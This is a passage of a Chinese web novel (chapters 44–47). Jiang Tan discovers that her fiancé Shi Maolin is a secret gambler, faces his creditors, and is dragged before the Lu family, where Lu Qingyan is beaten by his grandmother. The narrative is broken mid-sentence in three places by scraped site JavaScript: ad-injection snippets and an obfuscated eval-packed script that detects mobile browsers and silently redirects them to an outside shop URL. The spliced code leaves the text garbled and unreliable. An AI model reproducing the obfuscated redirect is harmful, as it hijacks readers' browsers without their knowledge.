“阿昙,我回来晚了。” 施茂林疼惜地捧起她的脸,轻轻问道:“又在煮药,哪里不舒服?” 姜昙看到紫珠在门口,身上脸上一副狼狈的模样,定然辛苦找了一天。 她对紫珠笑了笑,后者见她无事,放下心来。将门关上,留出地方来让两人说话。 姜昙靠在施茂林的怀中:“我想立刻跟着你回泰兴去。” 施茂林沉默了一瞬。 他伸出一只手来轻拍着姜昙的肩:“再等十日,十日后我们回去,一大早出发,路上一刻不停。” 姜昙没有说话。 施茂林继续哄着:“我知道,住在客栈,你一定很累了。改日师傅给我放假,我带你去郊外骑马,好不好?” 姜昙浑身疲累地闭上眼。 施茂林知道她这是同意了,轻轻推开她,端来桌上的药汤:“怎么闻着这么苦,里面放了什么?” 他没有追问到底的意思。 只是拿着羹勺搅了搅,吹开热气,喂到姜昙的唇边。 施茂林满眼希冀地看着她:“不烫了。” 姜昙张开嘴,任由他一口一口地喂下去,神色如常。 施茂林看得奇怪:“这药莫非是甜的?” 姜昙看着他:“你来尝尝甜不甜。” “药已经喝完了,我能怎么尝?你莫非要我舔碗底,可……” 话未说完,姜昙已亲了上来。 她跪在床上,抱住他的脖颈。完全将重量压在他身上,轻轻地舔舐他的唇缝,撬开他的牙关。 施茂林怕她摔空,紧张地扶着她的腰,不敢退一步。 药苦不苦不知道,唇是甜的。 姜昙十分大胆,手在施茂林紧实的腰腹摸了一把。 心有旁事的施茂林顾不得分心了,闭上眼睛,呼吸沉重起来。 起初是姜昙推他,现下是他忍不住,推着姜昙往床上去。 姜昙任他施为,丝毫并没有抗拒的意思。 44. 第 44 章 施茂林腰腹发紧,察觉到一股渴意,忍不住咬了姜昙一口。 只这一口,姜昙受惊般推开他。 施茂林荡漾的心神摔了个干净,他忽然想起背上的东西,拢住敞开的衣襟:“阿昙,我弄疼你了?” 看着唇上似乎破了。 “没有,我只是困了。” 姜昙翻身躺在床上,逐渐进入梦乡。 身后,施茂林不自觉地抓了抓后背,总觉得那处隐隐刺痛。 翌日,姜昙睡了一觉起来,心情很好。 她似乎忘了昨日的事,却还记得与施茂林的约定,一日后高高兴兴地和他去郊外骑马。 阴沉的天气丝毫没有打扰她的兴致。 他们牵着马在草地中散步,祸害了草丛中的花朵,看到更漂亮的,毫不怜惜地丢到一边去。 最后,手中什么也没有,只剩下满手的绿色汁液。 施茂林带她去山中的溪边洗手,他给她提着裙子,让她坐在石头上,打湿巾帕,给她擦手。 姜昙撩了他一脸水,他也不气,只痴痴地望着她。 姜昙感到很安心。 玩够之后,两人又回城中。到了城外亭子里,天公不作美,下大了雨。 施茂林便将衣服脱下,给姜昙披着,自己淋着雨去买伞。 伞铺在不远处,他很快就能回来。 姜昙坐在亭子里等他。 雨唰唰下得很大,天地间听不到别的声音,空气中有泥土和水的气息。 姜昙放松地深吸一口气,忽然闻到了一丝不同寻常的味道,那味道以前常跟随她。 不过自从她知道另有一人喜欢,她就不再佩了。 杜衡香。 随着香味弥漫开来,亭子里另一道呼吸也跟着清晰起来。 这里还有别人在! ……陆青檐。 . 隔着一道草帘,人语声从那处传来。 这个声音很熟悉,姜昙曾在晃月别庄的门外听到过。她认出来这就是自称姜清源好友之人,一个姓公孙的大人。 “下官万死,因近日听闻此处有狼出没,想起长公子喜外出游猎,故而请长公子到此。不想这天色不遂人愿……” 公孙文絮絮叨叨,而另外一人,始终未出声。 “长公子一直看着这草帘,可是对这亭子感兴趣?这亭子是知府到任第一年时新建的,一日路过此地,恰逢炎炎烈日,百姓汗滴如雨,故而……” 一道声音终于略有不耐地打断他:“公孙大人,雨声寂静,而你却吵闹。” 再次出声,公孙文紧张了许多:“长公子喜净,那、那下官即刻驱赶闲杂人等离去。来人呐——” 兵甲声一动,姜昙这才发觉草帘那一边,竟有这么多的人。 公孙文说:“速速将闲杂人等驱离!” 草帘足有半人长,堪堪遮得住大半个身子,只露一片衣摆在外面。 他们只要一过来,她立刻就会被发现。 姜昙往亭中看了看,竟连躲藏之处也没有。 想了想,她将衣服往头顶一包,打算冲入雨中去,从亭子的后面离开,那边不惹人注意。 亭子后是一处险坡,稍有不慎还可能滑下去,可此时的姜昙已顾不得那么多了。 “慢着。” 姜昙愣在当场,以为自己是被陆青檐发现了。 可很快她就反应过来,陆青檐应是对公孙文说的。 果然,陆青檐说:“公孙大人,我倒是觉得,你在这里更影响清静。你若真心替我着想,不如带着人出去。” 公孙文连声应是。 不多时,一众衙役步入雨中,齐齐站着,斗笠被雨水冲得唰唰作响。 公孙文缩着脑袋,手忙脚乱地让两人给自己挡雨,看起来十分滑稽。 姜昙看着险坡犹豫了片刻,还是躲回了亭子里。 陆青檐淡淡吩咐道:“你们也走。” 草帘那一边彻底安静了下来,一个亭子,只有两个人在。 杜衡香似乎更加浓郁了些。 姜昙喘不过气,用手帕捂住了口鼻。可她实在是太熟悉杜衡的香味了,哪怕封住口鼻,也能回忆起它的味道。 没有丝毫作用。 姜昙轻轻叹了一口气,片刻之后松开手帕,任由那股味道肆意地钻入鼻中。 姜昙始终蜷缩在角落里。 空气中有珠子滚动的撞击声,陆青檐的手上或许拿着那串佛珠。 椅子轻微响动,陆青檐站了起来。 姜昙的心高高提起来,他却并没走动,而是静静站着。 不过,他的手中似乎握着什么。 雨下得更大了,耳边雨点一阵击打屋顶,砰砰作响。 姜昙听不清楚了。 待这阵急促的雨声过去,姜昙似乎听到陆青檐轻轻地喘气。 可是雨声太大了,她又疑心是自己听错了。 直到雨势渐小,陆青檐才离开。 姜昙脱力地坐在地上,施茂林终于找了过来:“阿昙,雨天伞正紧俏,我问了许多家铺子都卖过了。所以我又走了几里地,从一个农户家中买到了。” 姜昙无奈地看着他:“以后不要把我一个人丢下,你迟迟不回来,我觉得很害怕。” 施茂林把姜昙背到背上,两人撑着一把伞回去:“对不起,我下次一定不会这样。” 姜昙搂着他的脖颈,慢慢地计算着日子,还有七日。 再过七日,她就能离开扬州。 . 听说施茂林要离开,武师傅百般挽留。 施茂林收拾着行李,对姜昙说:“他说要留我与师弟们切磋一番,要去整整两日,不用等我回来。” 姜昙自然答应,亲自为他收拾行李。 将他送上车后,才想起来厨房做了海棠糕,施茂林说很喜欢,却忘记带了。 紫珠看看时辰:“快到正午,姑娘若要去,不如做好午饭一齐送去。海棠糕也得多带些,正好分给施公子的师弟们。” 说的有道理,在武师傅那里麻烦这么多天,总得给师傅师弟们带些礼物。 在紫珠的帮助下,姜昙很快准备好一切东西,雇了辆马车去武馆。 姜昙从未去过新师傅的武馆,只依稀听施茂林说起过,新师傅的武馆非比寻常,一般不许外人进。 为此,姜昙特意拿了施茂林的腰牌,这是身份的象征,他们见了这个,总不会把她拦在门外。 可事情大大出乎意料。 姜昙再三确认没有来错地方,才来到了这个所谓武馆的门前。 门口有两个正在赌钱玩的守门小厮,见了姜昙,先是多看了她的脸几眼,然后从头发打量至脚,眼神变得轻佻。 紫珠张臂拦在姜昙身前,像母鸡护崽一样。 姜昙皱了皱眉,反手拉着紫珠,打算离开。 那两个守门的小厮丢开骰子,嬉皮笑脸地拦住她们: “妹妹,这么急着走,你不是来找哥哥的么?” 姜昙冷冷说:“我寻错地方了,请让开。” 一个小厮凑过来:“咱们这全扬州谁不知道,还没人寻错到这来。你若是抹不开面进来看,让哥哥带着你玩。” 说着,他去扯姜昙的袖子。 姜昙冷笑一声避开,丢给二人一块银角。 那两人收了笑,一左一右开道:“得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嘞,贵客往里面请。” 姜昙犹豫片刻,走进大门,将手中腰牌露出来问:“我来找施茂林,他在什么地方?” “呦,这咱可记不清,这里的人多着呢。” 小厮瞟着腰牌:“这也不是咱们这的东西。” 姜昙只好收起腰牌,再次给一块银角,两个小厮对视一眼:“贵客的名字不是咱能问的,您还是自个儿进去寻吧。” 说着,他们掀开毡毯。 疯狂的喧嚣声在耳边炸开,两个小厮将两人往里面一推,便没了踪影。 姜昙震惊地看着眼前景象。 这根本不是武馆,而是一个巨大的赌坊。 外面看起来平平无奇,实则连通了一排街坊,内里修了有三层阁楼,顶上是交错的黑纱,不漏一丝光线。 赌桌前挤着一大群人,面上显露出狂热的神色,口中念咒一样,在说着什么。 姜昙听不到自己的声音,紫珠几乎是在她耳边喊着:“姑娘,咱们是不是找错地方了?” 不,没有找错。 紫珠很快也安静下来,因为她们看到施茂林了。 他和平时憨厚的模样大相径庭,坐在赌桌前,被周围的赌徒簇拥着。他神色专注地盯着桌上的赌注,和那些赌徒们一样,面目狰狞而疯狂。 他这副模样,绝不是头一次来。 他在骗她,一直在骗她! 姜昙耳中有什么有鸣叫,叫声尖利,她捂住耳朵,觉得耳中要流出滚烫的血来。 姜昙晃了晃脑袋,整个赌坊都在摇晃。她固执地推开人群,跌跌撞撞往施茂林那边去。 她要去……要去干什么呢? 她也不知道,总之要去! 一定要去! 她要看一看那到底是不是施茂林,或是有人剥了他的皮,套在身上伪装成他的另外一人! 可是前面的人实在太多了,紫珠都被远远地挤在后面,姜昙更是推不开前面的人,这段路如此难行。 “哎呦喂!” 有一个红裙女子被她撞到了一旁,纳罕地瞧着姜昙,忽然勾唇一笑。 女子指着姜昙:“来人呐!有闹事的人进来了,抓起来!” 姜昙心神恍惚,被女子的手下轻易地钳制起来,眼睁睁地看着施茂林离自己越来越远。 紫珠来拦,也被一起抓到了后院。 这是一处水池边,脚下是石头路,路边就是鱼池,池子里的鱼以为有人喂食,扑腾着往上跳跃。 女子捏着姜昙的下巴,左瞧右瞧,赞道:“真是好一张美人面,好端端的,怎么会来这个地方?莫非想与我做姐妹?” 姜昙挣开她的手,在女子的手上咬了一口。 “你这个贱人!” 女子一怒,下意识就要动手扇巴掌,手高高地扬起来,却似想到什么,恨恨地放下了。 “罢了,本姑娘大人大量,不与你计较。” 姜昙闭了闭眼,再睁开时,眼中有泪光闪动。 忽然,紫珠朝石路尽头大叫:“陆公子,有人欺负姑娘,快来救救我们——” 红柳一惊,朝石路尽头看去,那边经过一个小厮,果然是陆家那位主爷贴身的下人。 红柳谨慎地打量姜昙:“你们竟认识陆长公子?” 紫珠说:“那是当然,陆公子是我家姑娘和公子的好朋友,你若是动我们一根汗毛,他绝对不会对你有好脸色!” 红柳立刻亲自去问。 片刻之后,她怒气冲冲地回来:“竟敢骗我?陆长公子亲口所说,他根本不认识你们!” 红柳气得将姜昙带来的食物踢进了水池,鱼儿翻涌着争抢。 姜昙静静看着。 45. 第 45 章 红柳想起方才去找陆青檐那一幕。 里里外外有三层人簇拥着,园子里是不让骑马的,可陆青檐却高高地坐在马上,丰神俊朗,旁若无人。 不仅无人来制止他,就连马儿吃草,都有专人恭恭敬敬地奉上。 不管扬州城中怎么传的陆家,怎么传的陆家庸少爷。 可在这里,在此处,陆青檐就是天,所有人都得恭恭敬敬地捧着他。哪怕他丢块肉让人学狗叫,都有一大群人扑上去争抢。 这就是陆青檐在赌坊中的威力。 不知怎么来的,似乎从他一出现,这一切就应当如此。 毕竟,连姚知府的独子姚卓也像下人一样,候在陆青檐的身边。 红柳情不自禁地缩着脑袋上前。 她的身份,只配与姚公子身边的下人说话,由下人传给姚公子最得力的管事,再由管事传话给姚公子。 姚公子看了她一眼,斜眼瞧见又瞧见她方才抓的那两个人,面上的表情可谓惊骇。 ……似乎是认识的。 姚卓小跑着凑到马前。 “什么人?”陆青檐说:“不认识。” 接着策马离开,一众人连忙跟上。 红柳怒气横生,还真以为是有后台的,不想是个会装相的,敢跟陆青檐攀关系! 红柳来到姜昙和紫珠面前,一脚踢开她们的东西,打算将这两人狠狠料理一顿喂鱼。 可话出口前,她不知怎么,突然想起了陆长公子那个眼神。 陆青檐说话时未看此处,走前却往她这里看了一眼。 看似无意,可若是真无意,以陆青檐的身份,何必要多余瞧这一眼呢? 陆长公子大概不是看她的,而是在看姜昙。 联想到姚公子的吩咐,还有施茂林的事…… 红柳沉思片刻,让手下放人:“这次就算了,本姑娘大发慈悲放你们回去。若是下次还敢来闹事,就不是今天这么客气!” 姜昙离开前,深深看了红柳一眼。 赌坊的下人得了红柳的吩咐,门口加派人手,看得很严。姜昙无论如何,再也进不去了。 连她使了银子托付的人,也被门口的小厮认出来,赶出门外。 姜昙只好在客栈内等着施茂林。 他说等他两日,她就等他两日,假装自己从没有去过赌坊,也不曾在里面看见过他。 姜昙躲在房中,安静地等着他。 她听见客栈一楼宾客的说话音,小二掌柜经过的脚步声,还听到施母与紫珠争执的吵嚷声,最后是紫珠在门前的徘徊声。 送来的饭菜,姜昙虽然吃的不多,却能按时吃。 可姜昙怎么也无法入睡,她一闭上眼,就是和施茂林过去的那些日子。他跪在门缝里,不厌其烦地说着外面的风景见闻,哄着自己出门晒太阳。 姜昙有时候也会想到刘仲青。 娘亲陪伴自己不多,如何活下去,为什么要活下去,是刘仲青教她的。他像姜昙的父亲,时而也像一个母亲,如果是他在,他会怎么解决这个问题呢? 姜昙想不明白。 夜幕降临,姜昙躺在床上看着窗外的天色变得明亮,外面逐渐响起寥寥人语声。 和施茂林约定的时间到了。 姜昙起床梳洗,穿衣,最后将施茂林送的两个镯子戴在手上,安静地等着他。 寅时,他没有来。 卯时,他没有来。 辰时,他依旧没有来。 …… 一直到申时,施茂林仍没有来。 申时末,门外终于有了动静。 姜昙蓦地抬眼看向门外,她迫不及待地去开门。可她站了大半日,几乎未挪动地方,腿脚早已麻木,乍一动作,险些摔坐在地上。 姜昙扶着桌面揉腿,门被狠狠撞开。 紫珠飞奔而入,护在姜昙身上:“你们干什么!施茂林欠的钱,你们该去找他要!找我们姑娘算怎么回事?我们跟他一个铜板的关系都没有!” 姜昙的腿彻底站不住了,结结实实地摔了一跤。 紫珠连忙来扶她,低头时眼里有泪光:“姑娘起来,快起来呀,我们快离开这……” 姜昙用衣袖给她擦了擦泪:“怎么回事?” 紫珠别过脸,眼中有泪水淌下。 姜昙细思一番,看到眼前这些凶神恶煞的追债人,不难想出前因后果。 看来梦是假的,施茂林果然是骗她的,没有人假扮他。 姜昙将紫珠护在身后,敛衣站出来:“我是施茂林的未婚妻子,他欠债,我可以替他还。” 债主们都是人高马大的汉子,闻言挤着向前:“这是欠条,先还二百两银!” “先还我的,一百两!” “不不不,我先,五百两!” “……” 姜昙示意他们安静,说:“可我毕竟是他的未婚妻子,没有真正嫁给他。若要我还,可以,诸位谁能把他带到我面前来,我就将银子双手奉上。” 众人一听,这哪行! 施茂林输了银子便跑得无影无踪,旁人只看到一个穿红衣服的女人帮他逃走,指不定就是眼前这个女人藏着他,还装作不知道呢! 说话间,又吵闹乱成一团。 姜昙不紧不慢地摆出大昭律法:“按我朝律法第一百一十条规定,聚众闹事者,不论缘由,皆拘狱三日。诸位都是扬州城有头有脸的人物,闹到衙门去,只怕面上不好看。” “施茂林是因为还不起账才逃走,你们抓到他也拿不出钱来。可若是你们答应我,等找到他,我却会把钱还给你们。” 姜昙的视线在人群中游移一圈,找到领头的汉子,方才就是他带人冲进门。 “若是怕我跑,你们大可找人看住我。”姜昙将腕上镯子退下一只,放到这人的手上:“这个作为定金,怎么样?” 汉子沉思片刻,答应了。 一群人商量着离去,最后留下一个人来,在姜昙的隔壁住下了。 待所有人离去,姜昙关上门窗,瘫坐在地上。 紫珠流着泪坐在姜昙身边:“姑娘,你怎么这么傻?人心本就凉薄,这个时候你该撇清关系,收拾细软逃走才对,为什么要全部揽下来?” 姜昙摸了摸她的脑袋:“经此一遭,我大概要流落街头了。你既知人心凉薄,为什么不收拾细软逃走呢?” 紫珠说:“我们是一家人,和旁人当然不一样!” 姜昙点头说:“对,我们是一家人,这个世界上,只有我们两个,才是最亲的人。” 姜昙说着抬起手腕,左手手腕和右手手腕都有陈年的旧伤疤。 她算半个大夫,最知道如何用劲,可施茂林怎么那么巧,每回都能让他给碰上。 “就当是欠他的,现在还他。” 姜昙下定决心,和紫珠一起清算身上所有的银子,就算卖了首饰也不够,还有天大的亏空。 除非去借银子,可扬州城她举目无亲,能向谁借银子呢? 陆……陆昂。 姜昙方才想到这个名字,门外 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 传来一阵急促的脚步声。 “在这个屋子?” “对,就在这!” 姜昙推开门,门外是一众身着同样服侍的家丁,是陆家的下人。 为首之人是一个婆子,趾高气昂地扫视姜昙一眼。 姜昙觉得她有些面熟,还未认出这是哪个院里的,就被她手下的丫鬟钳制手臂带走。 姜昙挣开,反手将婆子按在门板上,手下的丫鬟见她厉害,不敢上前。 姜昙不卑不亢地问:“敢问嬷嬷,为何绑我?” 婆子嚷嚷说:“施茂林勾结陆府的贼人,运送府中宝贝拿出去卖,还放印子钱。如今逼死了人,苦主找上门来了!我就是奉命拿你去问话,如果无事,还放你回来。” 姜昙心中一惊,松开手。 婆子挣脱之后,立刻变了脸,指挥丫鬟一起上。 看着柔柔弱弱的两条胳膊,怎么刚才就把她按到门板上,动弹不得呢? 婆子怎么也没想明白,如临大敌地指挥丫鬟们将人按住,一捏细腕,才发现是个手上无力的。 原来只是会装罢了! 婆子挥手:“带走!” 姜昙听到紫珠在后面哭,有心想安慰她几句,却被马车内的香薰得昏昏欲睡。 是怕她逃跑吗? 她本不想睡,却不知怎么睡着了,一头栽倒在马车内。 . 迷迷糊糊间,姜昙恢复了意识。 身上软软的没有力气,无法动弹,便继续躺着,没有出声。 周围的动静清晰可闻。 马蹄声嗒嗒,婆子和谁打了个招呼,似乎是到了陆府,大门吱呀吱呀地被打开。 马车进去府里,猛地一停,像是撞上了什么。 婆子暗骂:“坏了!” 对面传来训斥声:“哪个院里不长眼的东西,没看见这是少爷主子的轿子?撞坏了你赔得起吗!” 婆子支支吾吾说不出话来。 姜昙忽然闻到一股杜衡香。 “怎么回事?”这是陆青檐身边总跟着的那个书生。 撞到的竟是陆青檐的轿子。 姜昙不由放轻了呼吸。 管事一阵嘀咕,跟邓显说了情况,后者不耐烦地说:“提到一边管教去,长公子还有事,没空理会你。” “是是是。” 管事提着婆子到墙根那边,隐隐绰绰听到阵阵训斥声。 马车里的两个丫鬟瑟瑟发抖:“这可怎么办呢?” “滚下来!”邓显又斥道:“长公子在此不来拜见,竟敢窥视?” “长公子饶命!” 两个向外偷看的丫鬟连忙跳下去,砰砰磕头,不住求饶。 真是胆大包天。 邓显摇头,心道这陆府也快到头了,下人都管教得不成样子。他指着盖的严严实实的车帘问:“马车里藏的什么东西?” 两个丫鬟对视一眼,答不上来。 于是,他只好亲自去看。 姜昙紧紧闭上眼,察觉到车帘被掀起,伴随着轻轻的抽气声,又被迅速放下。 不多时,有脚步声接近,姜昙屏住呼吸。 外面有风从掀开的车帘中吹来,浓郁的杜衡香挡也不挡不住地往鼻子里钻。 许久,车帘被放下,拂过姜昙的面上,又荡了回去。 陆青檐离开了。 姜昙睁开眼睛,听到婆子和丫鬟被放了回来,心中滋味难言。 说好了的,两不相欠。 这样很好。 46. 第 46 章 姜昙是被人推醒的。 睁开眼时,眼前是不怒而威的陆母,她身边站着陆秋水,紧挨着沈芳茵。 大夫人坐在一旁,身后站着两个粗壮的婆子。 “姜姑娘。”愣神之时,一旁的丫鬟推了推她。 姜昙朝身边看去,这个眼熟的丫鬟是之前绑她的其中之一,但姜昙记得很清楚,她并没有下狠手,到了现在,反而在提醒自己。 丫鬟又推她,示意她看另一边。 原来刘香君不是不在,而是没有坐在夫人的位置上。 刘香君昔日那么要脸面的一个人,如今满面憔悴,无心装扮。 分明坐在椅子上,却像是瘫在了哪里,一副没有生气的模样。 姜昙一下子就明白了,今天这事的主人公,怕是刘香君。 或许根本没有“陆府贼人”,而是刘香君。能撬开陆府宝库运送宝贝到外面去,除了陆府的家贼,还能有谁? 刘香君这副模样,连争辩也无心,恐怕已被人寻到了把柄,铁证如山,不容狡辩了。 大夫人和陆母使了个颜色:“姜妙仪,你那未婚夫在何处?” 姜昙说:“他外出访友去了,暂时未回。” 大夫人一拍桌子,怒目道:“胡说八道,东窗事发,他分明是逃了。” 姜昙觉得好笑:“我只知道他外出访友去了,说过几天就回。夫人既然早知道他逃走了,还问我做什么?” 大夫人气得站起来:“你竟敢跟我装糊涂!” “我从未有这个意思,夫人问什么,我答什么。”姜昙说:“莫非大夫人想听我亲口说什么,不必如此麻烦。您说什么,就是什么,我都听夫人的。” 身边的婆子咳嗽了一声,本想吵起来的大夫人看了一眼陆母,偃阵息鼓。 大夫说:“我不与你争辩,我只问你,你在陆府借住时,可曾见到施茂林将陆府的宝物拿出去卖?陆家已拿捏到了证据,劝你早些坦白。” 姜昙说:“我从未看到,不知道大夫人的证据从何而来?” “陆家那段时日只你一个外人借住,施茂林屡次来府中见你,陆府的下人都是证人。借此机会,他可轻而易举将宝贝拿出去卖。” “无稽之谈。” 姜昙淡淡说道:“第一,施茂林每次来见我都只在外院,从不进内院。如夫人所说,满府皆是证人。试问,他是怎么与内院的人联系上,并将宝贝运送出去?” 大夫人说:“他可让你进内院,或是使些钱让别人去……” “这就是第二个问题。敢问夫人可知道,我来陆府借住,仰仗的是大姑奶奶和茵表妹,从不与二夫人私交,甚至还结了怨,如何能勾搭到一处?方才夫人又说可使银钱让别人去,既能使旁人去,那么旁人也有嫌疑,陆府人人都有嫌疑,为何偏偏怀疑到施茂林头上?” 大夫人指着姜昙说:“你这是狡辩!” “非是狡辩,而是质疑。夫人要定罪,连站的住脚的证据都拿不出来,如何教人信服?” 姜昙低眉顺眼说道:“莫非陆府一贯的断案作风就是如此?由一人猜测,给人定罪吗?” “要证据?好!” 大夫人给身边的婆子使了个眼色,那婆子便出门去,再回来时手里拖着一个小厮。 姜昙认得他身上的服饰,是赌坊的人。 大夫人冷哼说:“这是销金窟赌坊的下人,你尽可问他,那施茂林在赌坊里挥霍足足一月有余,他一个武馆的学徒,若不是做上了这等勾当,手中的赌资都是从何处来的?” 那小厮不迭磕着头:“如大夫人若说,小的日日在销金窟做门房,施公子几乎日日都来,每回出手大方,赏银也能给足足一两!” 姜昙握紧掌心,口中强硬:“施茂林喜交朋友,许是向友人借的……” “哪家的友人这么大方!” 大夫人将手中的账册丢在姜昙面前,她拿起来看,发现这是销金窟近一月的账册。 上面记着赌客的名字,其中“施茂林”下面,记载着近万两白银。 看见数字的那一刻,姜昙如坠冰窟。 她以前跟着刘仲青,在吴江县衙里做过文书,会看卷宗会写状纸,也会审案子。 大夫人的话中满是漏洞。 若是两人继续辩驳下去,她能抓住很多疑点,问得她说不出话来。 可是此刻,一切的辩驳都没有意义了。 姜昙张了张嘴,一个字都说不出来。 怎么会这样? 是从什么时候开始的,是从某一天开始吗?或是因为某一件事开始,怎么就到了这种地步? 怎么会变成这副模样! 姜昙浑身失去力气般瘫坐在地上,任由身边那个好心的丫鬟提醒她,她什么也听不见了。 只看到大夫人得意地笑,嘴快速地一张一合,似乎在伸张正义,痛斥邪恶。 大夫人邀功似地到陆母身旁:“老夫人您瞧,这丫头开始愧疚了,如山的铁证摆在眼前,她不想认也得认!” 陆母沉吟片刻,忽然开口:“茵姐儿,这丫头是不是与你还有些渊源?” 沈芳茵原本正看着姜昙,闻言一愣,应道:“是沾亲带故,可是外祖母,姜妙仪她不是这样的人。” 陆母等着她的下文。 沈芳茵说:“姜妙仪平日算计我的时候,孙女儿从没有察觉到。她那么一个聪明的人,如果真要做那些事,肯定连把柄都让咱们拿不到,怎么会留这么蹩脚的……” 在陆母审视的眼神中,沈芳茵渐渐消声。 陆秋水在她脑袋上敲了一记,恨铁不成钢地暗骂道: 这个蠢东西,这算什么证据,夸别人聪明,说自己蠢吗! 陆秋水笑说:“母亲,茵姐儿是个直率的性子,想不到那么多弯弯绕绕。这个孩子的事情,我也知道一些,她……” 顿了顿,陆秋水说道:“她做那些事时,被我撞见过一回。女儿告诫她好自为之,这丫头却不听,哎。” 沈芳茵张嘴要说什么,被陆秋水捂住了嘴。 姜昙噗嗤笑出声。 想不到陆府里,唯一相信她清白的人,竟然是沈芳茵。 陆母点点头:“既然和亲家沾亲带故,那也算陆家的半个亲戚。既是住在陆府出的事,小辈不懂规矩,陆家有责任管教。” 说着,陆母对身边的嬷嬷使了个颜色,那嬷嬷明白她的意思,对外喊道:“上家法!” 门外两个粗壮的婆子走进来,每人手中握着一个半人高的宽木棍。 姜昙不服地看着陆母:“我没有错,为什么要受罚?就算要罚,也该将我告到衙门去,待衙门审清案子后定罪再罚——” 陆母叹息说:“孩子,这不是罚你,而是在替你父母管教你,管教你不需要定罪。我听说你母亲去的早,父亲管不住你,任你一人与男人私奔跑来扬州,可怜你父亲来接你,反倒教你气得病倒了……” 一派胡言! 姜清源又是何时与陆母搭上线的,说了这么些乱七八糟的话? 陆家的婆子手脚麻利,不一会儿就将姜昙按住,口中塞了布巾,防止她叫出声来。 此时,忽有下人进门,急匆匆地叫了一句:“老夫人,庸少爷到了——” 一声通报,如平地惊雷。 姜昙被两个婆子带着,慌慌张张地藏到了祠堂的偏室,和正室只隔一道纱帐。 影影绰绰,看得清室内人影。 紧接着陆青檐出现,仍是不等通报,径直入内。 “祖母。” 陆青檐悠然向陆母见了个礼:“怎么这么晚还不歇息?听大夫说,您的病还未好,入夜不该久坐,孙儿实在忧心您的身体。” 浑然没有察觉到祠堂内的紧张气氛。 或许他从来不需要察觉。 因为只要他一出现,就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958274|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掀起令人紧张的气氛。 第一次出现在陆家给陆母拜寿时,他也是这般瞩目。 上一次寿宴时,大夫人早早地退席,并没有和陆青檐打照面。这一次看见他,双眼发直,大夫人蓦地站起来,惊恐地盯着他。 陆青檐一一见礼,看到大夫人,温然笑开:“大夫人别来无恙,听说昇弟回来了,他近来可还好?” 大夫人厉声尖叫。 “老祖宗,那祸星又来了!他又来克我的昇儿了!快掐死他!” 大夫人身后两个婆子,及时按住她,将大夫人带了出去。 远远传来大夫人的惨叫: “这个祸星!自打他回来,陆家就坏事不断,老祖宗您也病了……早知如此,当初就该——” 后面听不清,应是被捂住了嘴,不过该听的不该听的,早就听了个遍。 祠堂内一片寂静,呼吸可闻。 陆青檐神情没有丝毫变化:“祖母先前说找我有事,不知是何事?” 他生得昳丽,第一眼见到他的人,都会心生喜欢。尤其是眉眼含笑时,一双眼自灯下往过来,称得上乖巧讨喜。 陆母对陆青檐招手。 陆青檐笑容更深,听话地走近。 到近前时,还未站定,额角便被突如其来的茶杯砸了一记。 陆青檐沉默立住。 茶叶挂在他的头发上,茶水自他额头淌下来,在下巴处汇成一团,吧嗒吧嗒往下滴水。 那水冒着烟,想来还是滚烫的。 陆母方才慈眉善目的菩萨面浑然不见,取而代之的是抑制不住的扭曲。 扔了一个,她仍嫌不够,伸手抓了陆秋水的茶盏,用力丢出去。 陆青檐垂着眼,偏了偏脑袋。 “你这个孽障,竟还敢躲!” 陆母更加生气,在桌面上胡乱摸索着什么。 沈芳茵眼疾手快,端起自己的茶盏藏好。 陆母摸不到茶盏,就去抓案上的香炉,捉住一条腿,就要往陆青檐身上砸去。 躲啊。 而陆青檐站着不动,嘴角仍是那一抹不变的笑意。 躲啊! 姜昙想叫他,出声却是呜咽,她口中的布巾塞得严严实实。 她挣扎着要走,两个婆子不知从哪拿出的绳子,将姜昙捆的严实。 香炉结结实实砸在陆青檐的脑侧,黑压压的血顺着发隙淌进脖颈,很快染红一片衣领。 陆秋水吓得惊叫一声,连忙和下人一起,七嘴八舌地劝陆母消气。 因背对着自己,姜昙看不清他面上的神情。只看到陆青檐一人站在那里,背影屹然不动。 这时,陆青檐抬头唤了一声:“祖母。” 陆母气晕过去了。 祠堂内乱作一团,最后将陆母送回院子,一大群人熙熙攘攘地跟着走了。 那两个婆子不知怎么办,竟也跟着溜了。 祠堂内只剩下陆青檐,一动不动地站在原地。 这时,陆母身边的大嬷嬷去而复返,厉声对陆青檐说道: “庸少爷,今晚请留在祠堂,静跪思过。” 陆青檐缓缓转身,笑问:“是祖母的命令?” 大嬷嬷呈上一封家信:“是京城国公爷送来扬州的命令。” 姜昙看到,陆青檐的笑容消失得一干二净。 面对着那封信,像是面对着皇帝的圣旨。他缓缓跪下去:“谨遵父亲教诲。” 祠堂的门被关上,门外还有落锁的动静。 姜昙暗道一声糟糕,陆家人把自己弄进来,也不送自己回去。 她试着挣了下绳子,完全挣不开。要不要出去,请陆青檐帮忙解开绳子? 正这么想着,陆青檐站了起来,几步走到纱帐前,蓦然掀开帘子。 姜昙就这么狼狈地出现在他眼前。 “嫂嫂躲在这里做什么,看我笑话吗?” 47. 第 47 章 姜昙一直不喜欢“庸”。 她能察觉到,陆青檐也不怎么喜欢。陆府有不少下人叫他庸少爷,但他似乎更喜欢旁人叫他陆青檐。 听人说青檐二字,是一位当世神儒为他取的。 青檐黛瓦,高官厚禄。 这二字取得极妙,相衬之下,“庸”并不平庸。 陆家共有三个孙辈的男儿,陆青檐排在第一位。第二位是大夫人的嫡子,陆昇。第三位是二夫人名下的庶子,名叫陆昌,人传是个结巴,几乎从不出门,也没有存在感。 故而外人提起陆家子,总是将前两位放到一处对比。 一庸,一昇。 一个长公子,一个大公子。 像极了讽刺。 